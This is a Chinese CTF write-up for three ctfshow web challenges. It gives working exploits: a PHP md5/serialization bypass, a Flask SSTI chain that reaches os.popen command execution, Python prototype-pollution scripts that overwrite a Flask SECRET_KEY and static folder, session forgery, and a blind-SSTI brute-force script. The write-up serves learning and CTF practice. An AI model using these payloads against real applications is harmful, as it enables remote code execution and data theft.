目录

ctfshow单身杯

学习新姿势,争做新青年!

# 签到·好玩的PHP

学到了新的md5绕过姿势,字符串和数字的MD5值是相等的

参考文章:PHP md5()函数详解,PHP计算MD5,md5()绕过,md5()漏洞原理剖析 (opens new window)

exp

<?php
class ctfshow {
    private $d;
    private $s;
    private $b;
    public $ctf=1.2;
    public function __construct() {
        $this->d = '1';
        $this->s = '.';
        $this->b = '2';
        }
}

$a = new ctfshow();
echo urlencode(serialize($a))."\n";
var_dump($a);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# ezzz_ssti

把payload分片写到config变量里

参考文章:Python Flask SSTI 之 长度限制绕过 (opens new window)

exp

{{config.update(l=lipsum)}}
{{config.update(g=request.args.a)}}&a=__globals__
{{config.update(f=config.l)}}
{{config.update(f=f|attr(config.g))}}
{{config.update(f=config.l[config.g])}}
{{config.update(o=config.f.os)}}
{{config.update(p=config.o.popen)}}
{{config.p(request.args.c).read()}}&c=cat /*
1
2
3
4
5
6
7
8

# ez_inject 【复现】

bao师傅出的题目,又学到新姿势了。出题人讲解 (opens new window)

现在来仔细复现一下,一个学习原型链污染的好机会,被知识**了两天。看到师傅思路,太赞了。

注册一个账号,看看各个路由下的内容

1

2

3

题目提示可以在登录或者注册处污染密钥

本地调试污染过程

from flask import *
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'th1s_i5_rea1_k3y'

class test:
    def __init__(self):
        pass

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

print(app.config['SECRET_KEY'])
instance = test()
payload = {
    "__init__":{
        "__globals__":{
            "app":{
                "config":{
                    "SECRET_KEY":"abc"
                }
            }
        }
    }
}
merge(payload, instance)

print(app.config['SECRET_KEY'])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

4

题做的少了,踩坑了

  • 直接把payload填在账号密码处了
  • hackbar发送账号密码payload是表单类型,不会进入merge函数的污染操作

这里用python发包

import requests
import json

url = "http://077305e9-a873-4e8f-aafe-034240ae3a96.challenge.ctf.show/register"

payload={
    "username": "3",
    "password": "3",
    "__init__": {
        "__globals__": {
            "app": {
                "config": {
                    "SECRET_KEY": "abc"
                }
            }
        }
    }
}

r = requests.post(url=url, json=payload)
print(r.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

把cookie里的session user值取出来解码一下,伪造is_admin的值,用伪造的seesion替换原session

5

在sercet路由下,界面发生改变,提示可以在echo路由下注入,flask注入应该就是ssti了。这一步如果替换seesion后,发现自己登录的账号退掉了,说明你secret_key污染失败了

6

现在不用关注session了,只需要在echo路由下注入

测速config,可以看到回显。这里ssti不需要双花括号

7

出题人没有严格过滤,尝试发现可以执行命令回显出来

8

self['__in''it__']['__glo''bals__']['__buil''tins__']['__impo''rt__']('o''s').popen('ls;ls /;nl /flag').read()
1

9

出题人认为这题出现了非预期,没有考虑到_static_folder的权限利用。可以污染app._static_folder,改变static静态目录下的实际目录,定位到根目录,这样可以直接访问flag

import requests
import json

url = "http://f5b184ba-4853-42a4-bf88-8c65497fc62a.challenge.ctf.show/register"

payload={
    "username": "4",
    "password": "4",
    "__init__": {
        "__globals__":{
            "app":{
                "_static_folder":"/"
            }
        }
    }
}
r = requests.post(url=url, json=payload)
print(r.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

污染后访问url/static/flag就可以实现直接访问根目录下的flag

现在讲讲在ssti注入这里,出题人的预期思路(猜测):

  • 禁用ssti常见关键词,利用拼接或编码绕过
  • 禁用shell常见查看命令,不能直接看flag
  • 如果ssti成功注入且存在比较,会返回true或false。仅仅是1-1,7*7这种似乎不会解析?

11

这里预期希望达到一个像sql盲注的效果,通过提示判断flag每一位的值

12

带上session,在echo路由下盲注

# Author: baozongwi
import requests

url = "http://f5b184ba-4853-42a4-bf88-8c65497fc62a.challenge.ctf.show/echo"
strings = "1234567890abcdef-tfshow{}"
target = ""

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "cookie": "user=eyJpc19hZG1pbiI6MSwidXNlcm5hbWUiOiIzIn0.ZzQrsw.wocMaLqlVcQkr6-mms3BVOIrGD4"
}

for i in range(50):
    for j in range(50):
        for string in strings:
            payload = '''
            cycler["__in"+"it__"]["__glo"+"bals__"]["__bui"+"ltins__"].open('/flag').read({})[{}]=='{}'
            '''.format(j + 1, j, string)
            data={
                "message":payload
            }
            r = requests.post(url=url, data=data, headers=headers)
            if r.status_code == 200 and "your answer is True" in r.text:
                print(string)
                target += string
                if string == "}":
                    print(target)
                    exit()
                break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

13

很棒的一道题!

关于迷雾重重,文件上传这两天接着复现

最后一次更新于: 2024/11/13, 18:00:51